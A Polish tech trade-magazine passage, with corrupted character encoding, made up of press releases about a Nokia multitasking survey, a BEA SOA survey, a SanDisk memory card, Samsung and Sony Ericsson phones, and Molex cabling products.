sne telefony komórkowe zawieraj¹ takie funkcje, jak

kalendarz, e-mail i wiadomoœci tekstowe, ludzie u¿y-

waj¹ ich nie tylko do nawi¹zywania po³¹czeñ. Po-

maga to niektórym utrzymaæ wiêksz¹ wydajnoœæ

w pracy, a innym w lepszym prowadzeniu domu.

W ka¿dym przypadku jednak telefony komórkowe

zdecydowanie pomagaj¹ ludziom w realizacji ¿ycio-

wych celów.

Z badania wynika, ¿e telefony komórkowe poma-
gaj¹ w uzyskaniu wiêkszej wydajnoœci. 62 proc. re-
spondentów wykonuje 2-3 czynnoœci podczas roz-
mowy przez telefon komórkowy, w tym przegl¹danie
stron internetowych czy robienie zakupów. 75 proc.
kobiet odpowiedzia³o, ¿e podczas korzystania z te-
lefonu komórkowego przygotowuje posi³ki, a 50
proc., ¿e robi makija¿.

Choæ wiêkszoœæ respondentów twierdzi, ¿e podczas
korzystania z telefonu komórkowego robi wiêcej ni¿
jedn¹ rzecz naraz, 48 proc. wskaza³o, ¿e rozmowa
odgrywa g³ówn¹ rolê. Na pytanie o to, co najbardziej
lubi¹ robiæ podczas u¿ywania telefonu komórkowe-
go, respondenci w wiêkszoœci odpowiedzieli „byæ
w ³ó¿ku”, nie podaj¹c jednak szczegó³ów.

Wykonywanie kilku zadañ podczas u¿ywania telefo-
nu komórkowego mo¿e prowadziæ do zabawnych
sytuacji. 47 proc. respondentów badania firmy No-
kia wys³a³o romantyczne lub kontrowersyjne SMS-y
do niew³aœciwej osoby, przy czym przydarzy³o siê to
56 proc. kobiet.

Badanie dotycz¹ce wykonywania kilku zadañ na-
raz zosta³o przeprowadzone online w witrynie no-
kia.com od 15 paŸdziernika do 1 listopada 2007
przez Illuminas w Wielkiej Brytanii, Hiszpanii, Fin-
landii, W³oszech, Chinach, Brazylii, Niemczech, Da-
nii, Francji, USA, Szwecji i Norwegii.

Firma Nokia zorganizowa³a najbardziej wszech-
stronne badanie konsumenckie w bran¿y, opraco-
wuj¹c ponad 10 miliardów danych z 77000 ankiet
konsumenckich w 21 krajach, co da³o wyj¹tkowy
wgl¹d w wartoœci, przekonania i postawy konsu-
mentów. Ta wiedza wyznacza dzia³ania firmy Nokia:
od opracowywania i projektowania produktu po jego
marketing i sprzeda¿. n

ród³o: NOKIA
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Wykonywanie kilku zadañ jednoczeœnie sta³o siê elementem

codziennoœci dla nas wszystkich. Uczestnicz¹c w ¿yciu

zawodowym, rodzinnym i towarzyskim, jesteœmy bardziej zajêci

ni¿ kiedykolwiek przedtem. Z wyników ogólnoœwiatowego badania

przeprowadzonego online na ca³ym œwiecie przez firmê Nokia

wynika jednak, ¿e z wieloma zadaniami naraz radz¹ sobie lepiej

kobiety ni¿ mê¿czyŸni – dotyczy to 60 proc. respondentów obu p³ci.

Tylko szeœæ procent kobiet uwa¿a, ¿e to mê¿czyŸni lepiej wykonuj¹

wiêcej zadañ jednoczeœnie.

Telefony komórkowe pomagaj¹ równowa¿yæ ¿ycie zawodowe z towarzyskim

Kobiety
radz¹ sobie lepiej…



Najwa¿niejsze fakty

1. Badanie przeprowadzone w Europie na zlecenie fir-
my BEA dowodzi, ¿e wiêkszoœæ operatorów tele-
komunikacyjnych postrzega architekturê zoriento-
wan¹ na us³ugi (SOA) jako wa¿ny lub bardzo wa¿-
ny priorytet na najbli¿sze trzy do piêciu lat.

2. Znakomita wiêkszoœæ operatorów uwa¿a archite-
kturê SOA za narzêdzie efektywnego wykorzy-
stania technologii Web 2.0 w przedsiêbiorstwie.

3. Ponad po³owa operatorów telekomunikacyjnych
jest przekonana, ¿e innowacyjnoœæ – rozumiana
jako zdolnoœæ pe³nego wykorzystywania nowych
pomys³ów – jest najwa¿niejszym czynnikiem dla
zmian organizacyjnych.

Firma BEA Systems przedstawi³a wyniki badania
przeprowadzonego przez firmê Vanson Bourne,
specjalizuj¹c¹ siê w badaniach rynku produktów
technologicznych. Ankieta wykaza³a, ¿e wiêkszoœæ
operatorów telekomunikacyjnych (51 proc.) postrze-
ga architekturê SOA jako jeden z najwa¿niejszych
priorytetów na najbli¿sze trzy do piêciu lat. Dla po-
równania, podobn¹ opiniê wyrazi³a jedna trzecia an-
kietowanych ze wszystkich innych bran¿ objêtych
badaniem.

Ponadto ankieta przeprowadzona wœród operatorów
telekomunikacyjnych w 12 krajach europejskich do-
wiod³a, ¿e znakomita wiêkszoœæ uwa¿a architekturê
SOA za narzêdzie efektywnego wykorzystania tech-
nologii Web 2.0 w przedsiêbiorstwie: 72 proc. re-
spondentów stwierdzi³o, ¿e architektura SOA jest
podstaw¹ dla opartych na standardzie Web 2.0 na-
rzêdzi dla spo³ecznoœci sieciowych, takich jak blogi,
serwisy Wiki, sieci spo³eczne i aplikacje Mash-ups
(Mash-ups to serwis internetowy lub aplikacja we-
bowa, która ³¹czy treœæ z wiêcej ni¿ jednego Ÿród³a
oferuj¹c nowy, atrakcyjniejszy i bardziej funkcjonal-
ny sposób korzystania). Œrednia, obejmuj¹ca wszy-
stkie bran¿e, wynios³a 55 proc.

Czas opracowywania i wprowadzania nowych, inno-
wacyjnych us³ug ma w sektorze telekomunikacyj-
nym bardzo du¿e znaczenie. Jak wynika z badania,
ponad po³owa wszystkich operatorów (53 proc.) jest
przekonana, ¿e innowacyjnoœæ – rozumiana jako
zdolnoœæ pe³nego wykorzystywania nowych po-
mys³ów – jest najwa¿niejszym czynnikiem dla zmian
organizacyjnych. Dla porównania, œrednia dla wszy-
stkich bran¿ objêtych ankiet¹ wynios³a 34 proc.

– Operatorzy telekomunikacyjni w regionie Europy,

Bliskiego Wschodu i Afryki (EMEA) wprowadzaj¹ ar-

chitekturê SOA jako podstawê rozwi¹zañ informaty-

cznych i sieciowych. Najwiêksze znaczenie dla tej

tendencji ma fakt, ¿e operatorzy telekomunikacyjni

musz¹ szybko dostarczaæ swoim abonentom nie tyl-

ko nowatorskie pakiety us³ug, ale równie¿ „mo¿liwo-

œci telekomunikacyjne”, takie jak lokalizacja, prze-

sy³anie wiadomoœci, ³adowanie i funkcje g³osowe,

jako „punkty dostêpu do us³ug” dla dzia³ów wewnê-

trznych, partnerów, klientów instytucjonalnych, a na-

wet abonentów domagaj¹cych siê odrêbnych aplika-

cji Mash-ups – powiedzia³ Neil Sholay, dyrektor ds.
rynków telekomunikacyjnych w regionie EMEA w fir-
mie BEA Systems. – Wykorzystanie zalet architektu-

ry SOA pozwala efektywniej wykorzystywaæ zasoby

informatyczne i sieciowe dla celów biznesowych.

Umo¿liwia to operatorom telekomunikacyjnym pono-

wne wykorzystanie i wspó³u¿ytkowanie zasobów,

szybsze dostarczanie nowych us³ug oraz ³atwiejsze

i tañsze wprowadzanie zmian.

Zdolnoœæ szybszego reagowania na zmiany u kon-
kurencji i dynamikê rynku to najwa¿niejsza inicjaty-
wa w strategiach biznesowych operatorów tele-
komunikacyjnych (wymieniana przez 69 proc. orga-
nizacji jako wa¿ny priorytet; dla porównania, œrednia
dla wszystkich bran¿ objêtych badaniem wynios³a
50 proc.). Na kolejnych miejscach znalaz³y siê ini-
cjatywy dotycz¹ce obs³ugi klienta (wymieniane
przez 67 proc.) i mo¿liwoœæ uzyskiwania informacji
w czasie rzeczywistym, co u³atwi³oby podejmowanie
decyzji (wymieniana przez 59 proc.).

Architektura SOA wspiera sektor telekomunikacyjny
w stawianiu czo³a najwiêkszym wyzwaniom tech-
nologicznym. Ankieta wykaza³a, ¿e najwa¿niejsz¹
inicjatyw¹ technologiczn¹ jest wprowadzenie bar-
dziej elastycznej architektury (wymieniana przez 70
proc. ankietowanych jako wa¿ny priorytet; dla po-
równania, œrednia dla wszystkich bran¿ to 43 proc.).
Inne wa¿ne inicjatywy w strategiach technologicz-
nych operatorów telekomunikacyjnych, które s¹ rea-
lizowane za pomoc¹ architektury SOA, to integracja
danych (63 proc.) oraz integracja us³ug (55 proc.).

Zlecony przez firmê BEA Europejski Sonda¿ Inno-
wacji Biznesowych (ang. European Business Inno-

vation Survey) zosta³ przeprowadzony w sierpniu
i wrzeœniu 2007 r . przez firmê Vanson Bourne, spec-
jalizuj¹c¹ siê w badaniach rynku produktów tech-
nologicznych. Obejmowa³ 51 przedsiêbiorstw sekto-
ra telekomunikacyjnego z 12 krajów. W sonda¿u
wziê³y udzia³ firmy z Belgii, Holandii, Danii, Finlandii,
Francji, Niemiec, W³och, Norwegii, Polski, Hiszpanii,
Szwecji i Wielkiej Brytanii. Do badania zosta³y
wybrani przedstawiciele bran¿ finansowej, logistyki
i transportu, farmaceutycznej, handlu detalicznego,
telekomunikacyjnej oraz u¿ytecznoœci publicznej
i energetyki. n

Wiêcej informacji o architekturze

zorientowanej na us³ugi (SOA)

w bran¿y telekomunikacyjnej mo¿na znaleŸæ

na stronie www.bea.com/telco.
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Wyniki europejskiego sonda¿u pokazuj¹, ¿e wiêkszoœæ operatorów telekomunikacyjnych

postrzega architekturê zorientowan¹ na us³ugi (SOA) jako wa¿ny lub bardzo wa¿ny priorytet

na najbli¿sze trzy do piêciu lat. Z badania przeprowadzonego na zlecenie firmy BEA wynika,

¿e znakomita wiêkszoœæ operatorów uwa¿a architekturê SOA za narzêdzie efektywnego

wykorzystania technologii Web 2.0 w przedsiêbiorstwie.

Priorytety operatorów telekomunikacyjnych

Architektura SOA





SanDisk Corporation poinformowa³, ¿e zacz¹³ wy-
sy³aæ próbki 12-gigabajtowych (GB) kart pamiêci mi-
croSDHC™ najwiêkszym producentom telefonów ko-
mórkowych do testów i oceny. Karta 12 GB repre-
zentuje 50-procentowy wzrost pojemnoœci w porów-
naniu z czo³owymi kartami SanDisk microSDHC
8 GB, odzwierciedlaj¹c rosn¹c¹ popularnoœæ telefo-
nów komórkowych z pamiêcioch³onnymi funkcjami,
takimi jak odtwarzanie muzyki, fotografowanie, na-
grywanie i odtwarzanie wideo oraz nawigacja GPS.

– Telefony komórkowe sta³y siê wa¿n¹ czêœci¹ ¿y-

cia konsumentów na ca³ym œwiecie – powiedzia³
Jeff Kost, wiceprezes i dyrektor generalny dzia³u
rozwi¹zañ mobilnych w firmie SanDisk. – Wiele

osób nie dostrzega jednak istotnej roli, jak¹ odgry-

waj¹ karty pamiêci w wyzwalaniu pe³nego poten-

cja³u tych zaawansowanych telefonów. W istocie

niektórzy nie wiedz¹ nawet, ¿e ich telefon ma gniaz-

do na kartê pamiêci i w³aœnie dlatego SanDisk nie-

dawno rozpocz¹³ kampaniê Wake Up Your Phone
™

(ObudŸ swój telefon).

Program „edukacji gniazdowej” ma uœwiadomiæ
klientom obecnoœæ gniazda na karty pamiêci
w wiêkszoœci dostêpnych na rynku telefonów ko-
mórkowych, a tak¿e korzyœci p³yn¹ce z jego u¿ycia.
Wiêcej informacji mo¿na znaleŸæ pod adresem
www.wakeupyourphone.com.

12-gigabajtowa karta microSDHC nadaje siê ideal-
nie do przechowywania du¿ej iloœci muzyki, zdjêæ

i wideo. Mo¿e na przyk³ad pomieœciæ 1500 piose-
nek, 3600 zdjêæ oraz 24,5 godziny wideo.

SDHC to oznaczenie kart formatu SD™ lub oparte-
go na SD, które maj¹ pojemnoœæ wiêksz¹ ni¿ 2 GB
i s¹ zgodne z now¹ specyfikacj¹ SD 2.0 umo¿li-
wiaj¹c¹ obs³ugê pojemnoœci od 4 do 32 GB. Specy-
fikacja zosta³a opracowana przez SD Association,
bran¿ow¹ organizacjê normalizacyjn¹, która zdefi-
niowa³a równie¿ trzy klasy okreœlaj¹ce minimal-
n¹ sta³¹ szybkoœæ transferu danych. Nowe karty
spe³niaj¹ wymagania SD Speed Class 4.

Oprócz kart microSDHC SanDisk oferuje producen-
tom telefonów i operatorom sieci komórkowych sze-
rok¹ gamê osadzonych i wymiennych rozwi¹zañ pa-
miêciowych. S¹ to m.in. osadzone stacje flash
iNAND™ i mDOC™, wymienne karty pamiêci micro-
SD™ i miniSD™ oraz karty SIM i MegaSIM®.

SanDisk Corporation, wynalazca i najwiêkszy glo-
balny dostawca kart pamiêci flash, jest œwiatowym
liderem w dziedzinie pamiêci flash – od badañ, pro-
jektowania i wytwarzania produktów do budowania
œwiadomoœci marki i dystrybucji detalicznej. Portfel
produktów SanDisk obejmuje karty pamiêci flash do
telefonów komórkowych, aparatów cyfrowych i ka-
mer, cyfrowe odtwarzacze audio i wideo, stacje USB
flash dla firm i klientów indywidualnych, pamiêæ osa-
dzon¹ do urz¹dzeñ mobilnych oraz stacje pó³prze-
wodnikowe do komputerów. SanDisk (www.san-

disk.com/corporate) znajduje siê na liœcie S&P 500,
ma siedzibê w Dolinie Krzemowej, a ponad po³owa
obrotów firmy przypada na kraje poza Stanami Zjed-
noczonymi. n

Witryna firmy SanDisk znajduje siê pod adresem

http://www.sandisk.com
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Wzrost popytu na karty o wiêkszej pojemnoœci, w miarê jak coraz wiêcej klientów u¿ywa

telefonów komórkowych do odtwarzania muzyki, zdjêæ i wideo.

SanDisk zwiêksza pojemnoœæ o 50 procent

12-gigabajtowa
karta microSDHC



Nowy Samsung G600 to stylowy slider, który pomi-
mo piêciomegapikselowego aparatu przykuwa oko
niewielkimi rozmiarami. P³aski (zaledwie 14,9 mm),
o klasycznym, prostym designie stanowi po³¹czenie
technologii z biznesow¹ elegancj¹.

W modelu tym nacisk po³o¿ono przede wszystkim na
funkcje fotograficzne: piêciomegapikselowy aparat
fotograficzny z czterokrotnym zoomem cyfrowym, fla-
shem i autofocusem pozwala na wykonanie dosko-
na³ej jakoœci zdjêæ. Dodatkowym urozmaiceniem jest
mo¿liwoœæ wybierania trybów charakterystycznych
dla cyfrowych aparatów: trybu macro, panoramiczne-
go czy nocnego. Du¿y wyœwietlacz 2.2” QVGA TFT
LCD o 16 milionach kolorów sprawia, ¿e przegl¹da-
nie zdjêæ czy filmów video staje siê przyjemnoœci¹.
G600 pozwala równie¿ na edycjê zdjêcia – mo¿na
przechowywaæ czy retuszowaæ zdjêcia, a nastêpnie
wysy³aæ je przez e-mail czy MMS. Rezultaty mo¿na
obejrzeæ na ekranie telewizorza dziêki wyjœciu TV,
w które wyposa¿ony jest telefon.

G600 to równie¿ mo¿liwoœæ nagrywania dobrej jako-
œci filmów video (w rozdzielczoœci VGA 640x480).
Kamera umieszczona w telefonie umo¿liwia na-
granie maksymalnie godzinnego filmu w formatach
H.263/MPEG4.

U¿ytkownikom, którzy pragn¹ wyró¿niaæ siê indy-
widualnym stylem i nie lubi¹ nudy, nowy Samsung
daje po raz pierwszy mo¿liwoœæ zmiany kolorystyki
menu w zale¿noœci od upodobañ i preferencji. Mo¿-
na skorzystaæ z motywów dostêpnych w telefonie
lub stworzyæ swój w³asny. Dziêki temu menu G600
staje siê niepowtarzalne i oryginalne!

Dodatkow¹ zalet¹ jest czujnik œwiat³a, który automa-
tycznie dostosowuje optymalny poziom jasnoœci wy-
œwietlacza w zale¿noœci od warunków oœwietlenia.
Zapewnia to nie tylko wygodê u¿ytkownikowi, ale
przede wszystkim dodatkow¹ oszczêdnoœæ baterii.

G600 mo¿e s³u¿yæ równie¿ jako narzêdzie do pracy
dziêki obs³udze plików biurowych, takich jak MS
Word, Excel, Power Point czy PDF – mo¿na
przes³aæ wybrane dokumenty do telefonu za po-
moc¹ ³¹cznoœci Bluetooth lub kabla USB i bez
problemu przegl¹daæ czy zmieniaæ je w domu.

Telefon dzia³a w technologii EDGE, pe³na prze-
gl¹darka www (Net Front 3.4) pozwala na swobod-
ne przegl¹danie stron internetowych. Telefon wypo-
sa¿ony jest w odtwarzacz MP3, radio FM, z którego
audycje mo¿na nagraæ na telefon w postaci plików
mp3, i klient e-mail. 54 MB pamiêci mo¿na rozsze-
rzyæ dziêki do³¹czonej w zestawie karcie microSD.
Dziêki temu nie powinno zabrakn¹æ miejsca na ulu-
bione utwory czy zdjêcia.

Telefon dostêpny jest w sprzeda¿y w dwóch wer-
sjach kolorystycznych: czarnej i grafitowej. n

ród³o: Samsung
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Samsung wprowadza na rynek model G600 – pierwszy telefon

z serii G, nastawiony na funkcje fotograficzne, który posiada

piêciomegapikselowy aparat z czterokrotnym zoomem, fleszem

i autofocusem.

P³askie „piêæ mega”

SAMSUNG G600



Wraz z modelem Z555 Sony Ericsson przedstawi³

seriê nowych, stylowych akcesoriów, w tym ko-

lekcjê (Design Collection) czterech skórzanych

torebek, z których wszystkie oferuj¹ unikato-

we i twórcze rozwi¹zania do noszenia telefonu.

Przedstawi³ tak¿e trzy rodzaje nowych, eleganc-

kich s³uchawek bezprzewodowych Bluetooth™:

HBH-PV708, HBH-PV770 oraz HBH-PV712.

– Model Z555 zaprojektowany jest z myœl¹ o tym,

aby odzwierciedlaæ Twoj¹ urodê i przyci¹gaæ uwagê

– powiedzia³ Sven Totte, Head of Style Marketing
w Sony Ericsson. – Stworzyliœmy ten telefon dla lu-

dzi, którzy szukaj¹ piêknie zaprojektowanego apa-

ratu, odzwierciedlaj¹cego ich osobisty styl, a zara-

zem bêd¹cego wydajnym i wyposa¿onym w najno-

wsze funkcje.

Sony Ericsson Z555 – ikona dobrego stylu

l Kontrola gestem – zarz¹dzaj rozmowami za po-
moc¹ ruchu d³oni.

l Ukryty wyœwietlacz – jednolite wykoñczenie tele-
fonu.

l Zmieniaj¹ce siê tematy zgodnie z por¹ roku.

l Eleganckie designerskie akcesoria dla uzupe³nie-
nia Twojego wizerunku.

Zaakcentuj swój styl

Kiedy pracujesz albo kiedy siê bawisz, masz w³asny
styl, który jest tylko Twój – styl i wygl¹d, które tele-
fon Z555 podkreœla doskonale. Za spraw¹ unika-
towego wykoñczenia w postaci diamentowych od-
blasków na frontowej czêœci oraz wyrafinowanych
detali telefon ten prawdziwie odzwierciedla Twoj¹
osobowoœæ. Wybierz kolor Diamond Black albo Du-
sted Rose, a wkrótce zostaniesz zauwa¿ony.

Po prostu machnij rêk¹,

aby przerwaæ po³¹czenie

Model Z555 posiada przydatn¹ funkcjê – kontrolê
gestem – opracowan¹ przez Sony Ericsson, pozwa-
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Sony Ericsson przedstawi³ nowy telefon Z555 – elegancki telefon z klapk¹, który ³¹czy w sobie

bogaty zestaw funkcji z nadzwyczajnie piêknym wzornictwem. Jest to idealne dopasowanie

najnowszego zestawu funkcji z innowacyjnym, diamentowym wzornictwem. Telefon ten ma

wszystkie potrzebne cechy, aby staæ siê ikon¹ dobrego stylu.

Stylowe telefony z nowej oferty Sony Ericsson

Nowy telefon
Sony Ericsson Z555



laj¹c¹ Ci ³atwo wyciszyæ telefon lub wprowadziæ bu-
dzik telefoniczny w tryb drzemki, nie przerywaj¹c
tego czym siê zajmujesz w danej chwili. Kiedy przy-
chodzi rozmowa telefoniczna, zwyk³y ruch rêk¹ w tê
i z powrotem nad telefonem wycisza dzwonek. Po-
dobnie przesuñ rêk¹ nad telefonem, kiedy u¿ywasz
go jako budzika, a przejdzie on w tryb drzemki. To
jest jak magia!

Zasiêgnij informacji – dyskretnie

Telefon Z555 posiada zewnêtrzny wyœwietlacz, który
poka¿e Ci, kto dzwoni, nawet bez otwierania klapki
telefonu. Kiedy aparat jest w stanie spoczynku, zew-
nêtrzny wyœwietlacz pozostaje dyskretnie niewidzial-
ny… z troski o wzornictwo.

Najnowszy wygl¹d telefonu

Podobnie jak Ty, telefon Z555 zmienia swój wygl¹d,
aby dostosowaæ siê do pory roku. Kolory i stylistyka,
które pojawiaj¹ siê w tematach telefonu, podobnie
jak wygl¹d systemu menu i g³ównego ekranu, mog¹
aktualizowaæ siê automatycznie, w miarê mijania ko-
lejnych dni w roku. Po³¹czony z kalendarzem telefo-
nu model Z555 wie, kiedy letni wygl¹d musi ust¹piæ
jesiennemu. Trzyma on w zanadrzu nawet coœ spe-
cjalnego na wielkie wydarzenia, takie jak wigilia No-
wego Roku!

Dajcie upust namiêtnoœciom na bie¿¹co

Model Z555 pozwoli Ci skorzystaæ z wolnej chwili
w taksówce, aby nadrobiæ zaleg³oœci zwi¹zane
z ulubionym zespo³em lub nawet ksi¹¿k¹. Przecho-
wuj w telefonie swoje ulubione œcie¿ki muzyczne lub
ksi¹¿ki audio i sortuj je wed³ug rozdzia³ów, p³yt lub
artystów. Dostrój siê do radia FM, aby wys³uchaæ
prognozy pogody, informacji drogowych lub najnow-
szych plotek o gwiazdach.

Uchwyæ wydarzenia, kiedy maj¹ miejsce

Aparat fotograficzny o rozdzielczoœci 1,3 MP, w jaki
wyposa¿ony jest telefon Z555 zapewnia to, ¿e za-

wsze jesteœ w stanie uchwyciæ akcjê, kiedy siê ona
rozgrywa. Zrób zdjêcie potencjalnego nowego zaku-
pu i wyœlij je jako wiadomoœæ-obraz do przyjaciela
albo wczytaj je bezpoœrednio do bloga, tak aby
wszyscy mogli dowiedzieæ siê, jakie masz plany.

Akcesoria do uzupe³nienia

Twojego wizerunku

Ka¿dy stylista powie Ci, ¿e wizerunek nie jest pe³ny
bez w³aœciwych dodatków. Linia Design Collection

oferuje cztery ró¿ne stylowe torebki ze skóry, które
dope³niaj¹ Twojego stylu, a równoczeœnie chroni¹
Twój telefon.

Kolekcja oferuje twórcze i stylowe rozwi¹zania do
noszenia telefonu, które pasowaæ bêd¹ do telefonu
oraz Twojego stylu.

Telefon jest tak¿e kompatybilny z trzema eleganc-
kimi nowymi s³uchawkami bezprzewodowymi Blue-
tooth™:

l S³uchawki bezprzewodowe Bluetooth™
HBH-PV708 oferuj¹ najlepsze po³¹czenie stylu
i wygody – abyœ móg³ byæ w kontakcie z bliskimi,
kiedy wyprowadzasz psa albo kupujesz kawê.

l S³uchawki bezprzewodowe Bluetooth™
HBH-PV770 oferuj¹ alternatywny sposób nosze-
nia s³uchawek w uszach, tak ¿e mo¿esz ich
wci¹¿ u¿ywaæ maj¹c na sobie okulary s³oneczne.

l S³uchawki bezprzewodowe Bluetooth™
HBH-PV712 redukuj¹ dŸwiêki w tle i maksymali-
zuj¹ wygodê, pozwalaj¹c Ci skoncentrowaæ siê
na osobie, z któr¹ rozmawiasz. Podnosz¹ tak¿e
Twoje notowania w kwestii stylu dziêki dwóm wy-
miennym obudowom Style-up™, w które s¹ wy-
posa¿one. n

Zród³o: Sony Ericsson
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Charakterystyka firmy

Molex Premise Networks jest dzia³em Molex’a projek-
tuj¹cym i produkuj¹cym wszelkiego rodzaju komponenty
do budowy systemów okablowania strukturalnego. Hi-
storia rozwoju tych rozwi¹zañ liczy sobie ju¿ ponad 20
lat. Id¹c wraz z rozwojem aplikacji sieciowych, firma Mo-
lex Premise Networks dostarcza infrastrukturê siecio-
wych urz¹dzeñ pasywnych s³u¿¹cych do bezproble-
mowego przesy³ania danych. Obecnie Molex Premise
Networks jest œwiatowym liderem w bran¿y okablowania
strukturalnego inwestuj¹cym ka¿dego roku miliony dola-
rów w tworzenie nowych produktów zorientowanych na
klienta.

Na przestrzeni ostatnich szeœciu lat wydatki na rozwój
programów ulepszaj¹cych najnowoczeœniejszy osprzêt
i nowe produkty siêgnê³y kwoty 1,8 miliarda dolarów.
Po ponad 60-letnim okresie istnienia ten rodzaj inwes-
tycji zaowocowa³ tysi¹cem nowych produktów znaj-
duj¹cych swoje zastosowania w wielu ga³êziach prze-
mys³u.

Aktualnie w ofercie firmy Molex Premise Net- works
znajduje siê pe³na gama produktów s³u¿¹cych do budo-
wy kompletnego systemu okablowania strukturalnego,
pocz¹wszy od gniazd abonenckich, koñcz¹c na sza-
fach dystrybucyjnych. Oferta obejmuje zarówno pro-
dukty oparte na rozwi¹zaniach œwiat³owodowych, jak
i rozwi¹zaniach opartych na 4-parowych kablach syme-
trycznych.

Oferta handlowa

Canobeam®

To nazwa handlowa systemu komunikacji z wykorzy-
staniem wi¹zki laserowej w otwartej przestrzeni (Free

Space Optics). Rozwi¹zanie to pozwala na niezwykle
szybkie ustanowienie po³¹czenia sieciowego pomiêdzy
dwoma punktami o przepustowoœci od 156 Mb/s do
1,25 Gb/s. Podstawowymi zaletami systemu s¹:

l niezwykle szybkie ustanowienie po³¹czenia siecio-
wego o du¿ej przepustowoœci;

l poprawna praca na dystansie do 2 km;

l mo¿liwoœæ instalacji i u¿ytkowania systemu bez ko-
niecznoœci wystêpowania o pozwolenie czy przy-
dzia³ czêstotliwoœci.

System sk³ada siê z elementu nadawczo-odbiorczego,
montowanego na zewn¹trz (dach budynku, œciana zew-
nêtrzna, itp.) lub wewn¹trz pomieszczenia (transmisja
wi¹zki laserowej przez okno.

Real Time

Real Time Patching System to opracowany przez firmê
Molex Premise Networks inteligentny system zarz¹dza-
nia okablowaniem strukturalnym. Molex Premise Ne-
tworks jest wiod¹cym producentem systemów okablo-
wania strukturalnego (Structured Cabling System). Inte-
ligentne zarz¹dzanie okablowaniem umo¿liwia mene-
d¿erom ds. systemów informatycznych (IT) sterowanie i
mo-nitorowanie fizycznej warstwy sieci i wspó³pra-
cuj¹cych urz¹dzeñ informatycznych.

Dziêki systemowi Real Time Patching firmy Molex Pre-
mise Networks – w sk³ad którego wchodz¹ inteligentne
panele krosowe, przewody i kable krosowe oraz
urz¹dzenia i oprogramowanie do zarz¹dzania fizyczn¹
warstw¹ sieci – mened¿erowie IT maj¹ dostêp w cza-
sie rzeczywistym do informacji o stanie okablowania
i mog¹ monitorowaæ, przemieszczaæ, dodawaæ i wpro-
wadzaæ zmiany oraz ³atwo i wygodnie (automatycznie)
prowadziæ dokumentacjê sieci. Konfiguracja systemu
jest prosta, a wbudowany ucz¹cy siê port identyfikacyj-
ny skraca czas przygotowania systemu do pracy. Ska-
lowalnoœæ systemu jest nieograniczona – mo¿na nim
zarz¹dzaæ na miejscu, zdalnie lub przez internet.

Najwa¿niejsz¹ cech¹ tego systemu jest umiejêtnoœæ
jednoczesnej wspó³pracy ze starszymi systemami oka-
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Firma Molex jest drugim co do wielkoœci producentem z³¹czy na œwiecie.

Molex to przedsiêbiorstwo o kapitale 2,2 miliarda dolarów, które posiada 68 biur handlowych,

26 centrów badawczo-rozwojowych i 55 zak³adów produkcyjnych na szeœciu kontynentach.

Ponad 95 proc. zak³adów produkcyjnych posiada certyfikat jakoœci ISO, a ponad 75 proc.

certyfikat QS 9000.

Micha³ Muszalski

Systemy

okablowania strukturalnego



blowania i zupe³nie nowymi instalacjami, dziêki czemu
u¿ytkuj¹ca go firma mo¿e w ca³oœci przejœæ do inteli-
gentnego zarz¹dzania po³¹czeniami niezale¿nie od
wieku i stopnia zu¿ycia posiadanej infrastruktury.

Dziêki dostêpnoœci pasków czujników dotykowych (pa-
sków sensorycznych) przeznaczonych do sieciowych
urz¹dzeñ aktywnych mo¿na monitorowaæ równie¿
po³¹czenia miêdzy panelem a sprzêtem aktywnym,
a nie tylko pomiêdzy panelami krosowymi. Mo¿na wiêc
zrezygnowaæ ze stosowanej powszechnie do niedawna
krzy¿owej metody œledzenia po³¹czeñ, zyskuj¹c znacz-
ne oszczêdnoœci zarówno pod wzglêdem kosztu pro-
duktów niezbêdnych do wdro¿enia tego rozwi¹zania,
jak i cennej przestrzeni dostêpnej w centrali.

Dodatkowe oprogramowanie wspomagaj¹ce zarz¹dza-
nie zwiêksza pojemnoœæ systemu dziêki dostêpnym
modu³om wspieraj¹cym funkcje Zarz¹dzania Zasobami
Sieci (Network Asset Management), diagnostycznym
i mapowania do poziomu adresowego MAC oraz roz-
wi¹zaniu, które umo¿liwia wykorzystanie pakietów Au-
toCAD i Vi-sio do planowania i opracowywania doku-
mentacji.

Data Gate Plus

Najwa¿niejszym elementem toru transmisyjnego zbu-
dowanego w oparciu o tradycyjne kable symetryczne
4-parowe s¹ z³¹cza. Z³¹cza s¹ elementami, na których
osoba instaluj¹ca system okablowania strukturalnego
terminuje kable symetryczne. Jakoœæ tego po³¹czenia
zale¿y od jakoœci samego z³¹cza, jakoœci u¿ytych na-
rzêdzi terminuj¹cych oraz od umiejêtnoœci i wiedzy in-
stalatora. Molex Premise Networks opracowa³ w³asn¹
gamê modu³ów o unikatowej technologii i perfekcyjnych
parametrach transmisyjnych.

Modu³y Data Gate Plus s¹ wyposa¿one w wysokiej jako-
œci z³¹cze szczelinowe KATT IDC, które zarabiane jest
przy u¿yciu powszechnie dostêpnych narzêdzi uderze-
niowych KATT/110. U¿ycie tego rodzaju modu³ów oraz
narzêdzi gwarantuje ³atwoœæ monta¿u oraz – co najwa¿-
niejsze dla instalatora i u¿ytkownika koñcowego – bar-
dzo dobr¹ powtarzalnoœæ pomiarów. Modu³ Data Gate
Plus posiada dodatkowo od strony gniazda RJ-45 wbu-
dowan¹ przesuwn¹ przes³onê przeciwkurzo- w¹ chro-
ni¹c¹ styki przed zabrudzeniami. Przes³ona ma za zada-
nie równie¿ prostowanie pinów po ka¿dym w³o¿e-
niu/wy³o¿eniu wtyczek RJ-45. Dodatkowo do modu³ów
mo¿na zastosowaæ zaœlepkê blokuj¹c¹, która uniemo¿li-
wia w³o¿enie wtyku RJ-45 do gniazda dedykowanego do
transmisji sygna³ów telefonicznych opartych na kablach
z wtyczkami RJ-11 oraz RJ-12. Modu³y Data Gate Plus
dostêpne s¹ w wersji ekranowanej oraz nieekranowanej
zarówno w kategorii 5e, jak i kategorii 6. Modu³y te zo-
sta³y przebadane przez niezale¿ne laboratorium ETL (In-

tertek Testing Services, ETL SEMKO) i posiadaj¹ certyfi-
katy zgodnoœci z normami bran¿owymi. Modu³y s¹ sto-
sowane w gniazdach typu Euromod, ModMosaic, Contu-

ra, ABB Tango, DIN 49075 oraz panelach krosowych
systemów PowerCat 6.

Panele œwiat³owodowe FMP3

Podstawow¹ zalet¹ tych paneli jest ich modu³owa kon-
strukcja. Wszystkie panele opieraj¹ siê na jednym uni-
wersalnym korpusie, do którego montowane s¹ p³yty
czo³owe. P³yty czo³owe mog¹ byæ dowolnie konfiguro-
wane przez u¿ytkownika. P³yty czo³owe s¹ dostêpne
w wersjach z adapterami ST, SC, LC, MT-RJ lub bez
adapterów. Przyk³adowe konfiguracje to: 12xST, 6xSC
